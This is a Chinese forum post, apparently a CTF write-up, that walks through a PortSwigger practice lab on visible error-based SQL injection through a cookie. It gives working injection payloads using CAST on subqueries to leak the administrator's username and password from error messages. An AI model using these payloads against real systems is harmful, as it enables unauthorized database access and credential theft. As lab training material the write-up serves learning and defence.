发帖
 找回密码
 立即注册
搜索
0 0

WEB bp官方靶场sql注入13

CTF练习 919 0 2025-7-29 16:51:40

第十三关 可见的基于错误的 SQL 注入

这一关就是通过报错信息的,进行sql盲注,得到密码进行登录

提示: 1、存在SQL 注入漏洞,注入点在cookie

2、有数据库表users,字段列是username和password

具体操作:

1、找到对应的数据包发往repeater(具体操作和第十一关一样)

2、加单引号测试下页面响应情况,存在sql注入

页面报错

页面显示完整的 SQL 查询,包括 cookie 的值,还有未闭合的字符串,那么注入就出现在这个单引号字符串中

3、在单引号后面加一个-- 注释

添加注释字符以注释掉查询的其余部分,包括导致错误的额外单引号字符

页面显示正常

4、插入sql语句,测试存在sql注入漏洞,检测这个注入点存在和可利用

' AND CAST((SELECT 1) AS int)--
​
解释:与将常量值1转换为整数类型
​CAST 是 SQL 中的类型转换函数,用于将某个值转换为指定数据类型。

​
​

页面报错存在SQL注入漏洞

显示and的参数必须是布尔类型的,而不是整数类型的

我们修改下,换成=,构成布尔表达式

' AND 1=CAST((SELECT 1) AS int)--
​
解释:将常量值1转换成整数类型,条件恒为真

页面显示正常

5、确定存在SQL注入后,去插入查询用户名的sql语句

' AND 1=CAST((SELECT username FROM users) AS int)--
​
解释:与将来自用户表的用户名转换为整数类型的条件=1,也就是恒为真,永远成立

报错,页面显示由于字符限制,查询被截断

字符限制,那就把id值去掉尝试下

' AND 1=CAST((SELECT username FROM users) AS int)--

页面报错,显示子查询返回了多行数据

修改查询语句以仅返回一行:

' AND 1=CAST((SELECT username FROM users LIMIT 1) AS int)--

页面报错,暴露出来users表中的第一个用户名:administrator

6、知道了管理员是表中的第一个用户,再次修改查询以泄露其密码

' AND 1=CAST((SELECT password FROM users LIMIT 1) AS int)--

页面报错,暴露出密码:2jzpvewg2r2p6ey3vzt6

7、爆破出来的密码登录,靶场通关

──── 0人觉得很赞 ────
免责声明:
1、本论坛中所有用户发布的内容仅代表作者个人观点,与本网站立场无关,本站不对其真实性、完整性或观点承担任何责任。
2、本论坛所提供的全部信息与内容,不保证其准确性、完整性或时效性。因阅读或使用本站内容而产生的任何误导、损失或风险,本站概不承担任何连带或法律责任。
3、当国家司法、行政机关依照法定程序要求本论坛披露用户信息时,本站予以配合并因此免责。
4、因网络线路故障、技术问题、不可抗力或本站无法控制的其他原因导致的服务中断或暂停,本站不承担由此造成的任何直接或间接损失。
5、对于任何通过技术手段破坏、攻击本论坛系统或扰乱正常秩序的行为,本站有权采取包括但不限于限制账号、封禁账号、追究法律责任等措施。
您需要登录后才可以回帖 立即登录
高级模式
返回